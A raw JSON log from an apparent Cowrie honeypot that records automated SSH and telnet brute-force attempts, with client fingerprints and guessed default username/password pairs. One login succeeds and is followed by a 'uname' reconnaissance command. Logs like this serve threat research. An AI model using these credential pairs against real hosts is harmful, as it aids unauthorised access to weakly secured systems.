{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:31.300591Z","src_ip":"192.109.200.237","session":"aedded625beb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:31.384587Z","src_ip":"192.109.200.237","session":"aedded625beb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:31.637055Z","src_ip":"192.109.200.237","session":"aedded625beb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:32.724063Z","src_ip":"192.109.200.237","session":"aedded625beb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60612,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ccb45b105b2","protocol":"telnet","message":"New connection: 152.42.224.71:60612 (10.17.0.5:23) [session: 7ccb45b105b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:34.177508Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42034,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b5d188b5abe","protocol":"ssh","message":"New connection: 192.109.200.237:42034 (159.203.135.109:22) [session: 5b5d188b5abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:35.727341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:35.732352Z","src_ip":"192.109.200.237","session":"5b5d188b5abe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:35.818629Z","src_ip":"192.109.200.237","session":"5b5d188b5abe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:36.147486Z","src_ip":"192.109.200.237","session":"5b5d188b5abe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:37.232446Z","src_ip":"192.109.200.237","session":"5b5d188b5abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46612,"dst_ip":"10.17.0.5","dst_port":23,"session":"cded9d56a2fa","protocol":"telnet","message":"New connection: 152.42.224.71:46612 (10.17.0.5:23) [session: cded9d56a2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:38.115932Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42052,"dst_ip":"159.203.135.109","dst_port":22,"session":"13ca91de4400","protocol":"ssh","message":"New connection: 192.109.200.237:42052 (159.203.135.109:22) [session: 13ca91de4400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:38.244721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:38.249437Z","src_ip":"192.109.200.237","session":"13ca91de4400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:38.331674Z","src_ip":"192.109.200.237","session":"13ca91de4400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:38.579481Z","src_ip":"192.109.200.237","session":"13ca91de4400","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:39.664267Z","src_ip":"192.109.200.237","session":"13ca91de4400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46346,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab6ea220fb08","protocol":"ssh","message":"New connection: 192.109.200.237:46346 (159.203.135.109:22) [session: ab6ea220fb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:41.477339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:41.514073Z","src_ip":"192.109.200.237","session":"ab6ea220fb08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:41.657247Z","src_ip":"192.109.200.237","session":"ab6ea220fb08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:41.920501Z","src_ip":"192.109.200.237","session":"ab6ea220fb08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:43.005534Z","src_ip":"192.109.200.237","session":"ab6ea220fb08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":58812,"dst_ip":"10.17.0.5","dst_port":22,"session":"69b0c1886c8b","protocol":"ssh","message":"New connection: 43.153.37.39:58812 (10.17.0.5:22) [session: 69b0c1886c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:44.182970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:44.187892Z","src_ip":"43.153.37.39","session":"69b0c1886c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:44.256637Z","src_ip":"43.153.37.39","session":"69b0c1886c8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gf","password":"gf","message":"login attempt [gf/gf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:44.563305Z","src_ip":"43.153.37.39","session":"69b0c1886c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46354,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e718295faf0","protocol":"ssh","message":"New connection: 192.109.200.237:46354 (159.203.135.109:22) [session: 4e718295faf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:44.927337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:44.934006Z","src_ip":"192.109.200.237","session":"4e718295faf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:45.021207Z","src_ip":"192.109.200.237","session":"4e718295faf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:45.269377Z","src_ip":"192.109.200.237","session":"4e718295faf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:45.635051Z","src_ip":"43.153.37.39","session":"69b0c1886c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:46.415208Z","src_ip":"192.109.200.237","session":"4e718295faf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.923250913619995,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:47.194608Z","src_ip":"152.42.224.71","session":"c8f15145ba80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35080,"dst_ip":"10.17.0.5","dst_port":23,"session":"cccb47da08ab","protocol":"telnet","message":"New connection: 152.42.224.71:35080 (10.17.0.5:23) [session: cccb47da08ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:47.372308Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46360,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ac64be28fa5","protocol":"ssh","message":"New connection: 192.109.200.237:46360 (159.203.135.109:22) [session: 1ac64be28fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:48.381885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:48.386632Z","src_ip":"192.109.200.237","session":"1ac64be28fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:48.468487Z","src_ip":"192.109.200.237","session":"1ac64be28fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:48.715596Z","src_ip":"192.109.200.237","session":"1ac64be28fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:49.803182Z","src_ip":"192.109.200.237","session":"1ac64be28fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36036,"dst_ip":"159.203.135.109","dst_port":22,"session":"44e32520373b","protocol":"ssh","message":"New connection: 192.109.200.237:36036 (159.203.135.109:22) [session: 44e32520373b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:51.798280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:51.803450Z","src_ip":"192.109.200.237","session":"44e32520373b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:51.885819Z","src_ip":"192.109.200.237","session":"44e32520373b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:52.132837Z","src_ip":"192.109.200.237","session":"44e32520373b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:52.347454Z","src_ip":"192.109.200.237","session":"44e32520373b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:52.351237Z","src_ip":"192.109.200.237","session":"44e32520373b","protocol":"ssh"}
